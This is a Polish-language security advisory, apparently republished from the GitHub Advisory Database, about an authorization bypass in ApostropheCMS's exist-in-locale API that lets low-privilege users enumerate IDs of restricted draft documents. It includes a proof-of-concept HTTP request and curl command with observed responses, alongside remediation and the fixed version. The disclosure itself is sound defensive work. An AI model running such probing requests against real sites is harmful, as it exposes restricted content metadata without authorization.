ApostropheCMS: Pominięcie autoryzacji na poziomie obiektu w exist-in-locale ujawnia identyfikatory zastrzeżonych wersji roboczych
Podsumowanie
Interfejs API exist-in-locale w ApostropheCMS pozwala uwierzytelnionemu użytkownikowi o niskich uprawnieniach ustalić, czy zastrzeżone dokumenty istnieją w określonej lokalizacji (locale) i trybie, w tym w trybie roboczym (draft). Punkt końcowy zwraca zlokalizowane identyfikatory dokumentów bez weryfikacji kryteriów uprawnień do przeglądania lub edycji na poziomie dokumentu.
Problem został odtworzony w rzeczywistej lokalnej aplikacji ApostropheCMS z uruchomionym zweryfikowanym kodem źródłowym. Do testów użyto syntetycznego konta gościa oraz syntetycznych zastrzeżonych rekordów wersji roboczych.
Szczegóły
Dokładna podatna ścieżka w kodzie źródłowym: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529
Dokładna trasa API: POST /api/v1/@apostrophecms/i18n/exist-in-locale
Funkcja obsługująca weryfikuje jedynie, czy żądający jest uwierzytelniony:
if (!req.user) {
throw self.apos.error('notfound');
}
Następnie wykonuje bezpośrednie zapytanie do bazy danych, używając kontrolowanych przez atakującego identyfikatorów dokumentów, lokalizacji i trybu:
const found = await self.apos.doc.db.find({
aposLocale: `${locale}:${mode}`,
aposDocId: {
$in: ids.map(self.apos.doc.toAposDocId)
}
}).project({
_id: 1,
aposDocId: 1
}).toArray();
To zapytanie nie stosuje:
.permission('view').permission('edit')apos.permission.criteria(req, 'view')- autoryzacji dokumentu na poziomie obiektu
- autoryzacji specyficznej dla danej lokalizacji
Punkt końcowy akceptuje wiele identyfikatorów, co umożliwia masowe odpytywanie (bulk probing).
Proof of Concept
Lokalna aplikacja działała pod adresem: http://127.0.0.1:3000
Konto testowe posiadało uprawnienia o niskim poziomie: guest
Lokalna baza danych zawierała syntetyczne rekordy dla bazowego ID zastrzeżonego dokumentu:
wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft
Wszystkie dane uwierzytelniające i pliki cookie zostały celowo zanonimizowane poniżej.
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json
{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}
Równoważne polecenie
curl -i -sS -X POST \
'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
-b /path/to/redacted-guest-cookie-jar.txt \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data-raw '{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}'
Zaobserwowana odpowiedź
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
"originalLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft"
],
"newLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:fr:draft"
],
"aposDocIds": [
"wv2l4rbaplgzkg80zkne4aoz"
]
}
Nieistniejący identyfikator został pominięty w odpowiedzi. Potwierdza to, że punkt końcowy działa jako wyrocznia istnienia (existence oracle).
Kontrola autoryzacji Korzystając z tej samej uwierzytelnionej sesji gościa i zwróconego powyżej zlokalizowanego identyfikatora dokumentu, wykonano zapytanie do standardowego API stron:
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json
Zaobserwowana odpowiedź:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {},
"message": "forbidden"
}
Wyraźnie obrazuje to granicę autoryzacji:
| Żądanie | Wynik |
|---|---|
| Standardowe API stron dla zastrzeżonego szkicu | 403 Forbidden |
exist-in-locale dla tego samego zastrzeżonego szkicu |
200 OK ze zlokalizowanym ID dokumentu |
exist-in-locale dla nieistniejącego ID |
200 OK z pustymi tablicami |
Dodatkowa weryfikacja wpływu
Zachowanie zostało również przetestowane pod kątem wielu kombinacji lokalizacji i trybów:
| Zapytanie | Wynik |
|---|---|
locale=fr, mode=draft |
Zwrócono wv2l4rbaplgzkg80zkne4aoz:fr:draft |
locale=fr, mode=published |
Zwrócono puste tablice, ponieważ brak opublikowanego rekordu |
locale=de, mode=draft |
Zwrócono puste tablice, ponieważ brak niemieckiego rekordu |
| Dwa ID w jednym żądaniu | Zwrócono istniejący ID; pominięto nieistniejący ID |
Potwierdza to, że punkt końcowy może zostać wykorzystany do ustalenia, czy dokument ma zlokalizowaną wersję roboczą w danej lokalizacji oraz do przeprowadzania masowej enumeracji.
Wpływ
Uwierzytelniony użytkownik o niskich uprawnieniach może:
- Odpytywać o dowolne znane lub odgadnięte bazowe identyfikatory dokumentów.
- Ustalać, czy zastrzeżone dokumenty mają zlokalizowane wersje.
- Ustalać, czy istnieją nieopublikowane wersje robocze.
- Identyfikować, które lokalizacje zawierają pasujące rekordy.
- Uzyskiwać dokładne zlokalizowane identyfikatory dokumentów.
- Przesyłać wiele identyfikatorów w jednym żądaniu w celu masowego rozpoznania.
Podatność nie ujawnia bezpośrednio treści dokumentu ani nie przyznaje uprawnień do zapisu, publikacji ani usuwania. Podczas testów żadne treści nie zostały zmodyfikowane, opublikowane, usunięte ani ujawnione poza metadanymi identyfikatorów.
Zalecane środki zaradcze
Przed wykonaniem zapytania do bazy danych należy zastosować te same kryteria autoryzacji na poziomie dokumentu, których używa standardowe API dokumentów. Zapytanie powinno być ograniczone do dokumentów, do których przeglądania żądający jest uprawniony w danej lokalizacji i trybie. Zapytania o wersje robocze powinny dodatkowo wymagać odpowiednich uprawnień do przeglądania wersji roboczych danego dokumentu, a nie jedynie uwierzytelnienia czy globalnej weryfikacji roli. Punkt końcowy powinien również unikać zwracania zlokalizowanych identyfikatorów dla rekordów, które nie spełniają kryteriów uprawnień żądającego na poziomie dokumentu.
- [1] ApostropheCMS i18n source — existInLocale handler, lines 503–529
- [2] Official ApostropheCMS i18n API documentation
Co trzeba zrobić
Zaktualizuj pakiet ApostropheCMS do wersji 4.33.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.33.0 | 4.33.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Słabość (CWE)
CWE-862- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 21:31
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-vmxh-77cw-65j7 - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 27
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 8
- Średnia 13
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Pominięcie autoryzacji na poziomie obiektu w exist-in-locale ujawnia identyfikatory zastrzeżonych wersji roboczych ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.